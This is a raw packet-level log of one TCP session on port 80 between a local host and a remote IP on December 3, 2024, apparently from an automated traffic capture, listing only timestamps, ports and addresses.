Dec 3, 2024 17:41:39.717684984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.717763901 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.718401909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.718414068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.718463898 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.719818115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.719830990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.719873905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.721100092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.721112013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.721154928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.722404957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.722417116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.722491026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.723746061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.723757029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.723807096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.725223064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.725234985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.725281954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.726813078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.726826906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.726869106 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.728431940 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.728445053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.728483915 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.729159117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.729175091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.729231119 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.730437994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.730449915 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.730500937 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.731774092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.731786966 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.731822968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.733195066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.733207941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.733293056 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.734453917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.734473944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.734522104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.735941887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.735954046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.736008883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.737580061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.737596989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.737651110 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.739161015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.739182949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.739340067 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.740489006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.740500927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.740516901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.740545034 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.741898060 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.741925955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.741962910 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.743356943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.743369102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.743407011 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.744854927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.744867086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.744921923 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.746335983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.746349096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.746359110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.746383905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.746409893 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.747960091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.747973919 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.748020887 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.749269962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.749289989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.749350071 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.750801086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.750813007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.750869036 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.752264977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.752274990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.752377033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.753838062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.753849983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.753859997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.753894091 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.755203962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.755223036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.755283117 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.756721020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.756741047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.756779909 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.758189917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.758208036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.758251905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.759721041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.759732008 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.759742022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.759788036 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.761238098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.761250973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.761286020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.762679100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.762710094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.762758970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.764173031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.764183998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.764251947 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.765670061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.765681028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.765728951 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.767137051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.767148972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.767159939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.767189026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.768659115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.768671036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.768721104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.770112991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.770126104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.770162106 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.771588087 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.771606922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.771641016 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.773089886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.773103952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.773128033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.774599075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.774610043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.774636984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.774688005 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.774713039 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.776088953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.776101112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.776148081 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.777601004 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.777612925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.777652979 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.779073000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.779084921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.779126883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.780517101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.780529976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.780539036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.780587912 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.911617041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.911783934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.911866903 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.912435055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.912743092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.912823915 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.913376093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.913551092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.913597107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.914288998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.914988041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.915004969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.915039062 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.916233063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.916281939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.916918993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.917581081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.917592049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.917625904 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.918948889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.918963909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.918994904 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.920273066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.920286894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.920324087 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.921601057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.921621084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.921685934 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.923031092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.923047066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.923103094 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.924371004 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.924386024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.924423933 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.925668955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.925683975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.925719976 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.926964998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.926978111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.927016973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.928423882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.928436041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.928483009 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.929636002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.929650068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.929697037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.930984020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.930994987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.931046963 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.932295084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.932312965 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.932353020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.933640003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.933653116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.933737993 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.934979916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.934990883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.935039043 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.936320066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.936331987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.936377048 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.937792063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.937804937 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.937838078 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.939368963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.939382076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.939425945 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.941030025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.941044092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.941093922 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.942317009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.942331076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.942339897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.942378044 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.942394018 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.943739891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.943751097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.943824053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.945233107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.945246935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.945292950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.946722031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.946734905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.946782112 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.948288918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.948302031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.948339939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.949680090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.949693918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.949702978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.949736118 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.951162100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.951208115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.951237917 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.952692986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.952706099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.952749014 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.954000950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.954200029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.954211950 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.954260111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.955634117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.955646992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.955656052 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.955689907 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.955708027 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.957151890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.957170010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.957211018 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.958614111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.958637953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.958673954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.960114956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.960131884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.960182905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.961627960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.961642027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.961684942 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.963073969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.963087082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.963097095 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.963133097 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.964551926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.964562893 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.964632988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.966027975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.966039896 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.966092110 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.967518091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.967531919 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.967573881 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.968991995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.969005108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.969014883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.969044924 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.969060898 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.970577955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.970597029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.970642090 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.972153902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.972171068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.972210884 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.973835945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.973853111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.973897934 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.974930048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.974946022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.975034952 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.976510048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.976536036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.976546049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.976568937 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.977905989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.977935076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.977960110 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.979413986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.979427099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.979473114 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.980926991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.980941057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.980950117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.980984926 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.981008053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.997834921 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.112970114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.113329887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.113425016 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.113929033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.114249945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.114327908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.114881039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.115595102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.115607023 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.115643024 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.116950035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.117007971 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.117702007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.118489981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.118503094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.118541956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.119622946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.119635105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.119679928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.120985985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.120997906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.121041059 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.122544050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.122555017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.122603893 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.123600960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.123613119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.123682976 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.124944925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.124957085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.125005007 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:40.126285076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:40.126296043 CET	80	49764	185.215.113.16	192.168.2.7
